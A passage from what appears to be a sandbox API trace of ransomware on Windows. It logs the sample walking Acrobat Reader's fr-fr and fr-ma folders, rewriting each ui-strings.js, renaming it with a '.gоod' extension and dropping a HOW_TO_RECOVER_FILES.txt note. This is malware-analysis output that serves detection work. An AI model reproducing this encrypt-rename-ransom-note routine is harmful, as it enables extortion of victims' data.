DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0264.952] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.952] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.952] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.952] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0264.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0264.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0264.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0264.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38baf10 | out: lpFileInformation=0x38baf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358)) returned 1 [0264.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0264.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0264.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0264.953] GetFileType (hFile=0x8a8) returned 0x1 [0264.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0264.953] GetFileType (hFile=0x8a8) returned 0x1 [0264.953] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x358 [0264.953] ReadFile (in: hFile=0x8a8, lpBuffer=0x38bb630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x38bb630*, lpNumberOfBytesRead=0x20beb8c8*=0x358, lpOverlapped=0x0) returned 1 [0264.954] CloseHandle (hObject=0x8a8) returned 1 [0264.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0264.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0264.984] GetFileType (hFile=0x8a8) returned 0x1 [0264.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0264.984] GetFileType (hFile=0x8a8) returned 0x1 [0264.984] WriteFile (in: hFile=0x8a8, lpBuffer=0x3933be8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3933be8*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0264.984] CloseHandle (hObject=0x8a8) returned 1 [0264.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0264.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0264.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0264.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a2839f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0264.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0264.984] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0264.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0264.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0264.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0264.986] GetFileType (hFile=0x8a8) returned 0x1 [0264.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0264.986] GetFileType (hFile=0x8a8) returned 0x1 [0264.987] WriteFile (in: hFile=0x8a8, lpBuffer=0x3937538*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3937538*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0264.987] CloseHandle (hObject=0x8a8) returned 1 [0264.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0264.988] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x7e [0264.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0265.106] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.106] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.106] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.106] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0265.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0265.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x7e [0265.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0265.107] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.107] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.107] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.107] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0265.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0265.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0265.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0265.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37e5c98 | out: lpFileInformation=0x37e5c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358)) returned 1 [0265.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0265.108] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0265.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0265.108] GetFileType (hFile=0x8a4) returned 0x1 [0265.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0265.108] GetFileType (hFile=0x8a4) returned 0x1 [0265.108] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x358 [0265.108] ReadFile (in: hFile=0x8a4, lpBuffer=0x37e63b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x37e63b8*, lpNumberOfBytesRead=0x20beb8c8*=0x358, lpOverlapped=0x0) returned 1 [0265.109] CloseHandle (hObject=0x8a4) returned 1 [0265.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0265.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0265.138] GetFileType (hFile=0x8a4) returned 0x1 [0265.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0265.138] GetFileType (hFile=0x8a4) returned 0x1 [0265.139] WriteFile (in: hFile=0x8a4, lpBuffer=0x385eda0*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x385eda0*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0265.144] CloseHandle (hObject=0x8a4) returned 1 [0265.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0265.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0265.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0265.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a401277, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0265.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0265.144] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0265.145] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0265.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0265.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0265.146] GetFileType 